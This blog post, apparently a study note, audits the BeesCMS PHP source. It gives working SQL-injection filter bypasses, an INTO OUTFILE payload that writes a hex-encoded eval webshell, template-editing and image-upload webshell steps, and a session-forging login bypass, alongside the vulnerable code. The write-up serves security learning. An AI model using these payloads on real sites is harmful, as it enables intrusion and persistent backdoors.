首页 > 编程语言 >php代码审计学习----蜜蜂cms代码审计

php代码审计学习----蜜蜂cms代码审计

时间:2023-10-28 14:33:18浏览次数:26  
标签:审计 admin 代码 ---- SESSION file time login php

php代码审计学习----蜜蜂cms代码审计

源码

https://github.com/Betsy0/CMSVulSource/tree/main/beescms

环境搭建

这个需要用docker搭建环境
用windows的phpstudy会出现403

然后chmod -R 777 html
在docker容器里

mysql -uroot -proot
create database beescms;

然后再/etc/mysql/my.cnf中添加

secure_file_priv=''

重启mysql

漏洞复现

1.SQL注入

admin' a and nd extractvalue(1,concat(0x7e,(select database()),0x7e))#


通过SQL注入getshell

admin' un union ion selselectect 1,2,3,4,0x3C3F70687020706870696E666F28293B406576616C28245F504F53545B315D293B3F3E i into nto ououtfiletfile '/var/www/html/shell.php'#


2.文件包含

/admin/admin_template.php?action=xg&nav=main&admin_p_nav=main_info&lang=cn&file=index.php(*.php)

然后插入木马即可


3.文件上传
上传图片马,抓包修改后缀

4.鉴权绕过

代码审计

1.SQL注入
全局搜索关键词select id,

function check_login($user,$password){
	$rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1");	
	$rel=empty($rel)?'':$rel[0];
	if(empty($rel)){
		msg('不存在该管理用户','login.php');
	}
	$password=md5($password);
	if($password!=$rel['admin_password']){
		msg("输入的密码不正确");
	}
	if($rel['is_disable']){
		msg('该账号已经被锁定,无法登陆');

然后此处有过滤,可以用复写绕过

function fl_value($str){
	if(empty($str)){return;}
	return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}

2.文件包含
admin_template.php中可以处理php后缀的文件

//模板修改界面
elseif($action=='xg'){
	if(!check_purview('tpl_manage')){msg('<span style="color:red">操作失败,你的权限不足!</span>');}
	$file = $_GET['file'];
	$path=CMS_PATH.$file;
	if(!$fp=@fopen($path,'r+')){err('<span style="color:red">模板打开失败,请确定【'.$file.'】模板是否存在</span>');}
	flock($fp,LOCK_EX);
	$str=@fread($fp,filesize($path));
	$str = str_replace("&","&amp;",$str);
	$str= str_replace(array("'",'"',"<",">"),array("&#39;","&quot;","&lt;","&gt;"),$str);
	flock($fp,LOCK_UN);
	fclose($fp);
	include('template/admin_template_xg.php');
}

//处理模板修改
elseif($action=='save_template'){
	if(!check_purview('tpl_manage')){msg('<span style="color:red">操作失败,你的权限不足!</span>');}
	$template = $_POST['template'];
	$file = $_POST['file'];
	$template=stripslashes($template);
	$path=CMS_PATH.$file;
	//判断文件是否存在
	if(!file_exists($path)){msg('不存在该文件,请重新操作');}
	if(!$fp=@fopen($path,'w+')){err('<span style="color:red">模板打开失败,请确定【'.$file.'】模板是否存在</span>');}
	flock($fp,LOCK_EX);
	fwrite($fp,$template);
	flock($fp,LOCK_UN);
	fclose($fp);
	msg('【'.$file.'】模板修改完成','?nav='.$admin_nav.'&admin_p_nav='.$admin_p_nav);
}

3.文件上传
在admin目录下发现有upload.php

<?php
if(isset($_FILES['up'])){
if(is_uploaded_file($_FILES['up']['tmp_name'])){
	if($up_type=='pic'){
		$is_thumb=empty($_POST['thumb'])?0:$_POST['thumb'];
		$thumb_width=empty($_POST['thumb_width'])?$_sys['thump_width']:intval($_POST['thumb_width']);
		$thumb_height=empty($_POST['thumb_height'])?$_sys['thump_height']:intval($_POST['thumb_height']);
		$logo=0;
		$is_up_size = $_sys['upload_size']*1000*1000;
		$value_arr=up_img($_FILES['up'],$is_up_size,array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg'),$is_thumb,$thumb_width,$thumb_height,$logo);
		$pic=$value_arr['pic'];
		if(!empty($value_arr['thumb'])){
		$pic=$value_arr['thumb'];
		}
		$str="<script type=\"text/javascript\">$(self.parent.document).find('#{$get}').val('{$pic}');self.parent.tb_remove();</script>";
		echo $str;
		exit;
	}//图片上传
}else{
die('没有上传文件或文件大小超过服务器限制大小<a href="javascript:history.back(1);">返回重新上传</a>');
}
}
?>

4.鉴权绕过
回到admin/fun.php,观察鉴权的函数

function is_login(){
	if($_SESSION['login_in']==1&&$_SESSION['admin']){
		if(time()-$_SESSION['login_time']>3600){
			login_out();
		}else{
			$_SESSION['login_time']=time();
			@session_regenerate_id();
		}
		return 1;
	}else{
		$_SESSION['admin']='';
		$_SESSION['admin_purview']='';
		$_SESSION['admin_id']='';
		$_SESSION['admin_time']='';
		$_SESSION['login_in']='';
		$_SESSION['login_time']='';
		$_SESSION['admin_ip']='';
		return 0;
	}
}

此时如果同时满足$_SESSION['login_in']==1,$_SESSION['admin'],time()-$_SESSION['login_time']>3600,即可绕过输入账号密码直接登录
post提交(login_time为超大数,time()-$_SESSION['login_time']就会为负数了)

_SESSION['login_in']=1&_SESSION['admin']=1&_SESSION['login_time']=12345678912345

参考文章

https://www.cnblogs.com/XuyeZi/p/17673615.html

标签:审计,admin,代码,----,SESSION,file,time,login,php
From: https://www.cnblogs.com/thebeastofwar/p/17793348.html

相关文章

  • 学习笔记七
    学习笔记七一、作业要求自学教材第4章,提交学习笔记(10分),评分标准如下知识点归纳以及自己最有收获的内容,选择至少2个知识点利用chatgpt等工具进行苏格拉底挑战,并提交过程截图,提示过程参考下面内容(4分)“我在学***X知识点,请你以苏格拉底的方式对我进行提问,一次一个问题”核......
  • CF777E题解
    分析看到这个题就想到了二维偏序。你们很自然地,以\(b\)为第一关键字降序排序,当有若干个片\(b\)相等时,我们发现由于\(a<b\),所以排到最后的片一定能把这些\(b\)相等的片都统计上,而前面的片能否统计是依赖于\(b\),所以考虑如何让后面的片更好统计,显然\(a\)越小越好统......
  • 阅读笔记5
    领域驱动设计的最佳实践领域驱动设计(DDD)有一些最佳实践,可以帮助您更好地应对软件核心复杂性:建模与沟通:建立共享的领域模型,确保开发团队和领域专家之间的共同理解。使用通用语言来描述领域对象和操作。持续演化:领域模型是一个持续演化的过程。随着对业务需求的深入了解,不断改进和......
  • 为什么要进行脉冲压缩
    今天简单聊一聊脉冲压缩,大家可能都知道雷达一般都要进行脉冲压缩,但在没有看下面这些信息之前,我觉得其实发射峰值高的脉冲信号也不是不行,不一样也能提高探测能力同时还有一个良好的距离分辨率吗?然而好像并不是这么回事,具体是什么呢?先卖个关子,大家一起往下看。首先雷达工作......
  • javaweb--事务
    beginupdate.........commit事务的四大特征A原子性--要么都成功要么都失败C一致性--事务完成时必须所有数据都保持一致状态I隔离性--多个事务之见操作的可见性D持久性--事务一旦提交或会滚,对数据库中数据的改变是永久的查看事务默认自动提交select@@autocommit;1->自......
  • AtCoder Beginner Contest(abc) 310
    B-StrictlySuperior难度:⭐题目大意给定n个商品的价格,每个商品还有若干个属性,请问是否存在一个商品是另外一个商品的上位品;上位品的定义分两种,一是价格相同,但是商品A的属性不仅包括了商品B的属性,还比商品B多了至少一个属性;二是如果两商品的属性相同,但是......
  • 具有意义的资料链接
    每日整理合集10.281.https://tangshusen.me/Dive-into-DL-PyTorch/#/2.https://blog.csdn.net/m0_51366201/article/details/1302279063.https://blog.csdn.net/weixin_43605214/article/details/12749504010.2910.30......
  • 分库分表
    分库:是为了解决数据库连接资源不足问题,和磁盘IO的性能瓶颈问题。分表:是为了解决单表数据量太大,sql语句查询数据时,即使走了索引也非常耗时问题。此外还可以解决消耗cpu资源问题。分库分表:可以解决数据库连接资源不足、磁盘IO的性能瓶颈、检索数据耗时和消耗cpu资源等问题。......
  • Angular dynamic import 技术详解
    Angular是一款由Google开发的开源前端框架,它能够帮助开发者更加高效地构建复杂的单页应用。Angular的一个重要特性是动态导入(Dynamicimports),它的出现大大提高了Angular应用的性能和用户体验。在讲解动态导入之前,我们需要先了解一下静态导入和动态导入的区别。在JavaScrip......
  • 逆向招商银行模拟器app,自定义修改任何元素,详细教程
    我今天闲着没事,就从网上找来了一个破解版的招商银行模拟器,然后这个APP呢是破解版,我们在给它继续完善优化一下吧。 因为这个版本存在众多问题,打开后会提示出来一个作者附加的信息,我下面给大家截图。出现这种提示非常麻烦,我这边要弄的通过逆向的办法把这个提示直接删除掉或者......